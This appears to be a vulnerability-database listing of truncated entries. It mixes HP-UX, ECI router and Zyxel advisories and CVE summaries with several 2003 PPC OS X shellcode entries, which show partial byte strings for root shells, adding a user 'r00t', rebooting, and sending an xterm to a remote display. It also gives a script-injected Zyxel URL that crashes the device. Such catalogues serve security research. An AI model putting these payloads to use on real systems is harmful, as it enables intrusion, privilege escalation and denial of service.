ECI router login bypass

Title: ECI router verification bypass and DoS Date: 24/07/2005 Impact: Log in verification bypass Vendors Status: Not contacted they were mean to me Overview: The B-FOCuS Router 312+ provides users with a reliable and secured ADSL2+ connection to the Internet. The 312+ has a single Ethernet port...

CVE-2003-0061

CVE-2003-0061: Buffer overflow in passwd for HP-UX B.10.20 allows local users to gain root privileges via a long LANG environment variable. This is supported by multiple sources in the provided documents (NVD, CVE list, RH advisory). The descriptions do not specify root cause details beyond overf...

HP-UX PHNE_18017 : s700_800 11.00 Domain Management (DESMS-NS B.01.11)

s700800 11.00 Domain Management DESMS-NS B.01.11 : Domain Enterprise Server Management System DESMS processes allow increased privileges. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and patch checks in this plugin were extracted from HP patch PHNE18017. The text itse...

CVE-2005-0547

Unknown vulnerability in ftpd on HP-UX B.11.00, B.11.04, B.11.11, B.11.22, and B.11.23 allows remote authenticated users to gain "unauthorized access to files."...

[SA14082] HP VirtualVault TGA Daemon Unspecified Denial of Service

TITLE: HP VirtualVault TGA Daemon Unspecified Denial of Service SECUNIA ADVISORY ID: SA14082 VERIFY ADVISORY: http://secunia.com/advisories/14082/ CRITICAL: Moderately critical IMPACT: DoS WHERE: From remote SOFTWARE: HP VirtualVault 4.x http://secunia.com/product/674/ DESCRIPTION: A vulnerabilit...

CVE-2005-0224

Unknown vulnerability in HP-UX B.11.04 running Virtualvault 4.5 through 4.7, when running the TGA daemon, allows remote attackers to cause a denial of service via certain network traffic...

Multiple Zyxel B-420 bugs

DoS, Crossite scripting...

Cross Site Scripting DOS (Zyxel B-420 Ethernet Bridge)

Wird einer B-420 Ethernet Bridge folgende URL bergeben startet sie neu. http://IP/Forms/rpAuth1?ZyXEL20ZyWALL20Seriesscripttop.location.pathname = ""/script Wird das ganze noch einmal wiederholt startet sie nicht mehr neu, sondern hngt einfach bzw. nimmt keine Anforderungen mehr entgegen und muss...

os-x/PPC execve /bin/sh 72 bytes

os-x/PPC execve /bin/sh 72 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does execve/bin/sh; exit0; See ASM below. 72 Bytes. / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7d\x68\x02\xa6\x3b\xeb\x01\x70" "\x39\x40\x01\x70\x39\x1f\xfe\xcf"...

os-x/PPC simple write() 75 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does write; exit; See ASM below. 75 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x40\x01\x70" "\x38\x6a\xfe\x91\x38\x9f\x01\x38" "\x38\x84\xfe\xf4\x38\xaa\xfe\xa7"...

os-x/PPC simple write 75 bytes

os-x/PPC simple write 75 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does write; exit; See ASM below. 75 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x40\x01\x70" "\x38\x6a\xfe\x91\x38\x9f\x01\x38"...

os-x/PPC execve /usr/X11R6/bin/xterm 141 bytes

Exploit for os-x/ppc platform in category shellcode ============================================== os-x/PPC execve /usr/X11R6/bin/xterm 141 bytes ============================================== / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does execve/usr/X11R6/bin/xterm -display 192.168.0.10:0 exit...

os-x/PPC setuid0 + execve /bin/sh 88 bytes

os-x/PPC setuid0 + execve /bin/sh 88 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does setuid0; execve/bin/sh; exit0; See ASM below. 88 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7d\x68\x02\xa6\x3b\xeb\x01\x70"...

os-x/PPC reboot 28 bytes

os-x/PPC reboot 28 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does sync reboot; See ASM below. 28 Bytes. / char shellcode = "\x7c\x63\x1a\x79" "\x39\x40\x01\x70" "\x38\x0a\xfe\xb4" "\x44\xff\xff\x02" "\x60\x60\x60\x60" "\x38\x0a\xfe\xc7"...

os-x/PPC execve /bin/sh 72 bytes

Exploit for os-x/ppc platform in category shellcode ================================ os-x/PPC execve /bin/sh 72 bytes ================================ / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does execve/bin/sh; exit0; See ASM below. 72 Bytes. / char shellcode =...

os-x/PPC simple write() 75 bytes

Exploit for os-x/ppc platform in category shellcode ================================ os-x/PPC simple write 75 bytes ================================ / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does write; exit; See ASM below. 75 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd"...

os-x/PPC Add user r00t 219 bytes

Exploit for os-x/ppc platform in category shellcode ================================ os-x/PPC Add user r00t 219 bytes ================================ / PPC OS X / Darwin Shellcode by B-r00t. 2003. open; write; close; execve; exit; See ASM below. 219 Bytes! / char shellcode =...

os-x/PPC Add user r00t 219 bytes

os-x/PPC Add user r00t 219 bytes. Shellcode exploit for osxppc platform / PPC OS X / Darwin Shellcode by B-r00t. 2003. open; write; close; execve; exit; See ASM below. 219 Bytes! / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x48\x02\xa6\x3b\xea\x01\x70"...

CVE-2003-1362

Bastille B.02.00.00 of HP-UX 11.00 and 11.11 does not properly configure the 1 NOVRFY and 2 NOEXPN options in the sendmail.cf file, which could allow remote attackers to verify the existence of system users and expand defined sendmail aliases...

CVE-2003-0951

The CVE-2003-0951 entry concerns HP-UX B.11.23 Partition Manager (parmgr). The root cause is improper validation of certificates provided by the cimserver, enabling attackers to access sensitive data or elevate privileges. Affected component: parmgr within HP-UX; vulnerable aspect is certificate ...